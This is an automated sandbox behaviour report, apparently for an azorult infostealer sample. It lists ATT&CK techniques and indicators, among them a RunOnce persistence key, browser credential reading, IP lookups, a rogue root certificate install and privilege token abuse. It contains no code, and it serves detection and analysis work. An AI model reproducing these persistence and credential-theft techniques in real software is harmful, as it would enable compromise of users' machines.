azorult | 6a160f6e2bb7d0275529d8549cc8d5d0efe252105ca79535de5e86e5a43f3cad

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Control Panel\International\Geo\Nation	setups.tmp

Loads dropped DLL 7 IoCs

pid	Process
184	setups.tmp
184	setups.tmp
184	setups.tmp
184	setups.tmp
184	setups.tmp
184	setups.tmp
184	setups.tmp

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\iathvgnbyno = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\2BM5PA7ZXJ\\multitimer.exe\" 1 3.1617560577.606a04011ac07"	multitimer.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Looks up external IP address via web service 5 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
108	ipinfo.io
111	ipinfo.io
147	ip-api.com
261	ipinfo.io
271	ipinfo.io

Maps connected drives based on registry 3 TTPs 2 IoCs

Disk information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum	multitimer.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum\0	multitimer.exe

Drops file in Program Files directory 3 IoCs

description	ioc	Process
File created	C:\Program Files\unins0000.dat	Full_Version.exe
File created	C:\Program Files\unins0000.dll	Full_Version.exe
File created	C:\Program Files\unins.vbs	Full_Version.exe

Drops file in Windows directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Debug\ESE.TXT	MicrosoftEdge.exe
File created	C:\Windows\Microsoft.NET\Framework64\v2.0.50727\config\security.config.cch.new	multitimer.exe
File created	C:\Windows\Microsoft.NET\Framework64\v2.0.50727\config\enterprisesec.config.cch.new	multitimer.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 14 IoCs

pid	pid_target	Process	procid_target
7556	5376	WerFault.exe	148
4616	5376	WerFault.exe	148
7436	5376	WerFault.exe	148
3700	5376	WerFault.exe	148
3564	5376	WerFault.exe	148
5252	5376	WerFault.exe	148
8000	5376	WerFault.exe	148
7156	5376	WerFault.exe	148
7840	5376	WerFault.exe	148
6432	5376	WerFault.exe	148
7384	5376	WerFault.exe	148
7304	5376	WerFault.exe	148
6512	5376	WerFault.exe	148
5852	5808	WerFault.exe	143

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
1156	timeout.exe

Enumerates system info in registry 2 TTPs 2 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	multitimer.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	multitimer.exe

Kills process with taskkill 4 IoCs

evasion

pid	Process
4196	taskkill.exe
6092	taskkill.exe
4080	taskkill.exe
5196	taskkill.exe

Modifies Internet Explorer settings 1 TTPs 3 IoCs

adware spyware

Modify Registry

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Internet Explorer\Main	browser_broker.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Internet Explorer\Main	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Internet Explorer\Main	MicrosoftEdge.exe

Modifies registry class 64 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\CIStatus\CIPolicyState = "0"	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\New Windows	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = 734c71087f29d701	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-DeviceId = "0"	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\006\CIStatus\SignaturePolicy = 06000000	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings\PrivacyAdvanced = "0"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\VersionHigh = "0"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ReadingMode\FontSize = "3"	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Protected - It is a violation of Windows Policy to modify = 0100000007fdb1fcaf835b48814b180198df2554ff5fe1b1d32af2e74ce6251cd85fc86f2eefd709344db40b390f2ea90135666ecc7e1274ae6e469c463ac58445045a3423223411bc53ae0c871b942371c61a4a1d1f3a46b68c4bd22ec3	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings\Zones\3\{A8A88C49-5EB2-4990-A1A2-087602 = 1a3761592352350c7a5f20172f1e1a190e2b017313371312141a152a	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\EnablementState = "1"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\DummyPath	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Cookies\CacheLimit = "1"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Protected - It is a violation of Windows Policy to modify = "1"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\IntelliForms	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Content\CacheLimit = "256000"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Cookies	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Explorer	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\006\CIStatus\CIPolicyState = "0"	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\History\CacheLimit = "1"	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\IEMigration\TypedUrlsComplete = "1"	MicrosoftEdge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Content\CachePrefix	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Extensible Cache	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\LowRegistry\DOMStorage	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\006\ACGStatus\ACGPolicyState = "6"	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Content\CacheLimit = "256000"	MicrosoftEdgeCP.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\TypedURLs\url5 = "https://twitter.com/"	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FavOrder\Favorites\Order = 0c0000000a000000000000000c0000000100000000000000	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\EdgeMigration	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\History	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\ACGStatus	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\OnlineHistory	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\IETld\LowMic	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Explorer\Main\OperationalData = "1"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ExtensionsStore\datastore\usage\dscc_inventory\ExtensionI	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\EdgeMigration\MigrationTime = 6c3a3b6c55add601	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Roaming\ChangeUnitGenerationNeeded = "1"	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = f1f9bf087f29d701	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\ACGStatus\DynamicCodePolicy = 05000000	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FavOrder	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Content	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Protected - It is a violation of Windows Policy to modify	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\006\ACGStatus	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Cookies\CacheLimit = "1"	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\TypedURLs	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ReadingMode\SettingsVersion = "2"	MicrosoftEdge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ExtensionsStore\datastore\usage\dscc_inventory\ExtensionI = "{E0C137D3-780F-429C-A36C-1E9039E867D3}"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\SubSysId = "0"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\Main	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\PageSetup	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\Active\{4F6D1ED5-96BF-4749-91E1-2EA62A72279E} = "0"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\Active	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings\Zones	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\HistoryJournalCertificate	MicrosoftEdgeCP.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\TypedURLs\url3 = "https://signin.ebay.com/ws/ebayisapi.dll"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\New Windows\AllowInPrivate	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ServiceUI	MicrosoftEdge.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349	askinstall20.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 5c0000000100000004000000000800000f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	askinstall20.exe

Runs ping.exe 1 TTPs 3 IoCs

Remote System Discovery

T1018

pid	Process
4724	PING.EXE
5640	PING.EXE
4644	PING.EXE

Script User-Agent 4 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	113	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	269	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	277	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	110	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 20 IoCs

pid	Process
184	setups.tmp
184	setups.tmp
3964	multitimer.exe
3964	multitimer.exe
3964	multitimer.exe
3964	multitimer.exe
3964	multitimer.exe
3964	multitimer.exe
3964	multitimer.exe
3964	multitimer.exe
3964	multitimer.exe
3964	multitimer.exe
3964	multitimer.exe
3964	multitimer.exe
3964	multitimer.exe
3964	multitimer.exe
3964	multitimer.exe
3964	multitimer.exe
3964	multitimer.exe
3964	multitimer.exe

Suspicious use of AdjustPrivilegeToken 45 IoCs

description	pid	Process
Token: SeDebugPrivilege	4588	Setup.exe
Token: SeCreateTokenPrivilege	212	askinstall20.exe
Token: SeAssignPrimaryTokenPrivilege	212	askinstall20.exe
Token: SeLockMemoryPrivilege	212	askinstall20.exe
Token: SeIncreaseQuotaPrivilege	212	askinstall20.exe
Token: SeMachineAccountPrivilege	212	askinstall20.exe
Token: SeTcbPrivilege	212	askinstall20.exe
Token: SeSecurityPrivilege	212	askinstall20.exe
Token: SeTakeOwnershipPrivilege	212	askinstall20.exe
Token: SeLoadDriverPrivilege	212	askinstall20.exe
Token: SeSystemProfilePrivilege	212	askinstall20.exe
Token: SeSystemtimePrivilege	212	askinstall20.exe
Token: SeProfSingleProcessPrivilege	212	askinstall20.exe
Token: SeIncBasePriorityPrivilege	212	askinstall20.exe
Token: SeCreatePagefilePrivilege	212	askinstall20.exe
Token: SeCreatePermanentPrivilege	212	askinstall20.exe
Token: SeBackupPrivilege	212	askinstall20.exe
Token: SeRestorePrivilege	212	askinstall20.exe
Token: SeShutdownPrivilege	212	askinstall20.exe
Token: SeDebugPrivilege	212	askinstall20.exe
Token: SeAuditPrivilege	212	askinstall20.exe
Token: SeSystemEnvironmentPrivilege	212	askinstall20.exe
Token: SeChangeNotifyPrivilege	212	askinstall20.exe
Token: SeRemoteShutdownPrivilege	212	askinstall20.exe
Token: SeUndockPrivilege	212	askinstall20.exe
Token: SeSyncAgentPrivilege	212	askinstall20.exe
Token: SeEnableDelegationPrivilege	212	askinstall20.exe
Token: SeManageVolumePrivilege	212	askinstall20.exe
Token: SeImpersonatePrivilege	212	askinstall20.exe
Token: SeCreateGlobalPrivilege	212	askinstall20.exe
Token: 31	212	askinstall20.exe
Token: 32	212	askinstall20.exe
Token: 33	212	askinstall20.exe
Token: 34	212	askinstall20.exe
Token: 35	212	askinstall20.exe
Token: SeDebugPrivilege	3964	multitimer.exe
Token: SeDebugPrivilege	4196	taskkill.exe
Token: SeDebugPrivilege	4408	MicrosoftEdge.exe
